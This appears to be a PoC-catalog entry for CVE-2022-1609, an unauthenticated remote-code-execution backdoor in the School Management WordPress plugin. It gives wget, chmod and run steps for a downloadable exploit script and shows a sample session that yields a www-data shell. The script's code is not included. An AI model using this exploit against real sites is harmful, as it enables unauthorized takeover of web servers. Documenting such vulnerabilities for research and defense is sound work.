CVE-2022-1609 PoC — The School Management < 9.9.7 - Unauthenticated RCE via REST api

Source

Associated Vulnerability

Description

Bash poc for CVE-2022-1609 WordPress Weblizar  Backdoor

Readme

# CVE-2022-1609
Bash poc for CVE-2022-1609 WordPress Weblizar  Backdoor

# How to install ?

```
wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh
chmod +x exploit.sh
./exploit.sh
```

# How to use it ?

```bash
NullBrunk$ ./exploit.sh http://127.0.0.1:8080
[+]  Targeting http://127.0.0.1:8080
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data

```

File Snapshot

 [4.0K]  /data/pocs/70c22e4dd0c72b5a02f7079e8f4b89ef6e61a732
├── [ 447]  exploit.sh
└── [ 406]  README.md

0 directories, 2 files

Remarks